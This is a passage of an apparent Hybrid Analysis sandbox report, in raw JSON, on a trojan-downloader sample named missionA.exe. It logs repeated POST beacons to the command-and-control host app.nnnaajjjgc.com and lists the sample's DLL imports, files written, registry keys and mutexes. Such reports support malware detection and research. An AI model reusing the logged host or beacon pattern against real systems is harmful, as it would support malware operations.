application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=44650&key=ef675e3311b35f1fd0b9310959b12102","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=44650&key=ef675e3311b35f1fd0b9310959b12102 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=44666&key=5ce826bc8e75996dbc34196cee24d162","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=44666&key=5ce826bc8e75996dbc34196cee24d162 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=44680&key=15aea08e4e14c71bc0c9bd2669ce30a6","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=44680&key=15aea08e4e14c71bc0c9bd2669ce30a6 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=44688&key=1b298943f2f308d39dcb10ab0d63dc58","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=44688&key=1b298943f2f308d39dcb10ab0d63dc58 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=44696&key=92eda9e261057513255428e18c816561","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=44696&key=92eda9e261057513255428e18c816561 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=44702&key=b52576cf459c2528a03b5c205399c2d8","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=44702&key=b52576cf459c2528a03b5c205399c2d8 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=44712&key=b54b89b148937f782dbf695dc1ee1239","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=44712&key=b54b89b148937f782dbf695dc1ee1239 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=44724&key=6675d9c4349aa8c653c5a284ee236569","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=44724&key=6675d9c4349aa8c653c5a284ee236569 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=44732&key=9915d4fbd9a31559910afb6473dfa59d","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=44732&key=9915d4fbd9a31559910afb6473dfa59d HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=44752&key=4e76731ae4d24e377347f9bd8d1d73bb","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=44752&key=4e76731ae4d24e377347f9bd8d1d73bb HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=44778&key=21956b313b3d52e991d73273ada2bcef","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=44778&key=21956b313b3d52e991d73273ada2bcef HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=44790&key=3ac3f5ddc59d76310bc06f56c8a1cf46","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=44790&key=3ac3f5ddc59d76310bc06f56c8a1cf46 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=44802&key=2630a286995b1659f698723f633d2288","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=44802&key=2630a286995b1659f698723f633d2288 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=44808&key=1cb4210f9d61661625357957826d538b","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=44808&key=1cb4210f9d61661625357957826d538b HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=44816&key=1b3c5231343c5331bacf7ab85b01edb7","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=44816&key=1b3c5231343c5331bacf7ab85b01edb7 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=44826&key=def819082d1f7fc823e44293c7e9abb6","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=44826&key=def819082d1f7fc823e44293c7e9abb6 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=44830&key=311b72d30fd7bb4cdd93423807bb4426","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=44830&key=311b72d30fd7bb4cdd93423807bb4426 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=44836&key=2d89edce019782985f20a9727bef0b6e","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=44836&key=2d89edce019782985f20a9727bef0b6e HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=44844&key=1613e76b39800bbb452de9623888caea","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=44844&key=1613e76b39800bbb452de9623888caea HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=44852&key=ccf22ab0672522e6df9c846e8b2a94ad","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=44852&key=ccf22ab0672522e6df9c846e8b2a94ad HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=44860&key=79b3700a946e979912ae7b9e0421fe17","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=44860&key=79b3700a946e979912ae7b9e0421fe17 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=44864&key=4bd78786f798b224ba7ca2ba6467bda9","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=44864&key=4bd78786f798b224ba7ca2ba6467bda9 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=44874&key=4d95a70fd7a5a274b491b9ee6ba4e000","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=44874&key=4d95a70fd7a5a274b491b9ee6ba4e000 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=44886&key=5d9f3c6be2b5ec49046482ba6e43b7b6","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=44886&key=5d9f3c6be2b5ec49046482ba6e43b7b6 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=44898&key=696a34cd5ec1f3432d110f5b57183ca9","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=44898&key=696a34cd5ec1f3432d110f5b57183ca9 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=44904&key=da29003912356a2d94bc3920c41be3bf","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=44904&key=da29003912356a2d94bc3920c41be3bf HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=44914&key=8247115d94f0bc98ca82b8b8136f1f4f","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=44914&key=8247115d94f0bc98ca82b8b8136f1f4f HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=44922&key=03f1b4b1c9da23a35ec70e6f06f8d69d","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=44922&key=03f1b4b1c9da23a35ec70e6f06f8d69d HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=44926&key=b3eee9326d80c633d51a3e1a390f9ffe","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=44926&key=b3eee9326d80c633d51a3e1a390f9ffe HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=44934&key=ae3eebfe46f011343c52644d42b617b0","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=44934&key=ae3eebfe46f011343c52644d42b617b0 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=44942&key=1633c632260b58fa44ef9fa1633a39d8","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=44942&key=1633c632260b58fa44ef9fa1633a39d8 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=44948&key=6e1af04020568d41310b972545bc236c","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=44948&key=6e1af04020568d41310b972545bc236c HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=44954&key=da8b3bca70a10bdc3aa67fb5e772eef3","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=44954&key=da8b3bca70a10bdc3aa67fb5e772eef3 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=44962&key=92f083aa8e4802a41396e2f0613e2da8","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=44962&key=92f083aa8e4802a41396e2f0613e2da8 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=44976&key=0ed8e2551f5c59e5fc4ff4bf45f28872","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=44976&key=0ed8e2551f5c59e5fc4ff4bf45f28872 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=44988&key=1e974d753f89d4945d30eafe41f9d786","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=44988&key=1e974d753f89d4945d30eafe41f9d786 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}],"processes":[{"pid":3864,"ppid":0,"name":"missionA.exe","command_line":"","sha256":"ab52c1b084899f26f4589de51763cae42cfa3b0ef49ed199f75c47dbfd704a15","normalized_path":"C:\\missionA.exe","uid":"00000000-00003864","icon":"$45"}],"all_imported_dlls":["cryptbase.dll","nlaapi.dll","wininet.dll","api-ms-win-downlevel-normaliz-l1-1-0.dll","clbcatq.dll","oleaccrc.dll","gdi32.dll","oleaut32.dll","winhttp.dll","ws2_32.dll","sspicli.dll","api-ms-win-downlevel-ole32-l1-1-0.dll","rpcrt4.dll","lpk.dll","api-ms-win-downlevel-shlwapi-l1-1-0.dll","normaliz.dll","VxSSL64.dll","dhcpcsvc.dll","GdiPlus.dll","shell32.dll","msdrm.dll","secur32.dll","api-ms-win-downlevel-advapi32-l2-1-0.dll","urlmon.dll","cfgmgr32.dll","msvcrt.dll","comctl32.dll","api-ms-win-downlevel-version-l1-1-0.dll","api-ms-win-downlevel-shlwapi-l2-1-0.dll","credssp.dll","kernel32.dll","usp10.dll","ntdll.dll","cryptsp.dll","fltLib.dll","api-ms-win-core-synch-l1-2-0.dll","RpcRtRemote.dll","crypt32.dll","uxtheme.dll","msasn1.dll","version.dll","api-ms-win-downlevel-advapi32-l1-1-0.dll","mswsock.dll","slc.dll","imm32.dll","iertutil.dll","nsi.dll","IPHLPAPI.DLL","rasadhlp.dll","rsaenh.dll","wshqos.dll","ole32.dll","msctf.dll","webio.dll","KernelBase.dll","sechost.dll","WSHTCPIP.DLL","npmproxy.dll","tzres.dll","userenv.dll","profapi.dll","wship6.dll","FWPUCLNT.DLL","advapi32.dll","user32.dll","shlwapi.dll","oleacc.dll","winnsi.dll","dhcpcsvc6.dll","api-ms-win-downlevel-user32-l1-1-0.dll","dnsapi.dll","netprofm.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"DISMHOST.EXE.64DF1521.bin","sha256":"9a4b735603297448841758b29d3c387a4ce84e5fd0dae05622f43ce53b8c85e6","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"name":"imagc_1_.jpg","sha256":"6af35e7b71af7e1cfa873415050f11800352aec9c493c3c769781c1513a23b0c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"name":"dism.log","sha256":"f4c85cf6b9681954c5df49240a4ca889f99f4e7762e188af414bc8a810edf76f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]}],"files_written":[{"path":"\\FileSystem\\Filters\\FltMgrMsg","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{846EE342-7039-11DE-9D20-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{C3450F58-7060-4AEA-B0A0-C245927D78D0}","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\counters.dat","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\\","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]}]}},"report_ids":{"sandbox_job_ids":["64de63cdad144ae7bb0beed0"]}}}]]}] 20:null 24:[["$","title","0",{"children":"Malicious Win64/TrojanDownloader.Agent.AER Sample ab52c1b08489… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample ab52c1b08489…. Malware family: Win64/TrojanDownloader.Agent.AER. Threat score 100/100. 4/27 AV engines flagged this file. 4 malicious and 23 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/ab52c1b084899f26f4589de51763cae42cfa3b0ef49ed199f75c47dbfd704a15"}],["$","meta","4",{"property":"og:title","content":"Malicious 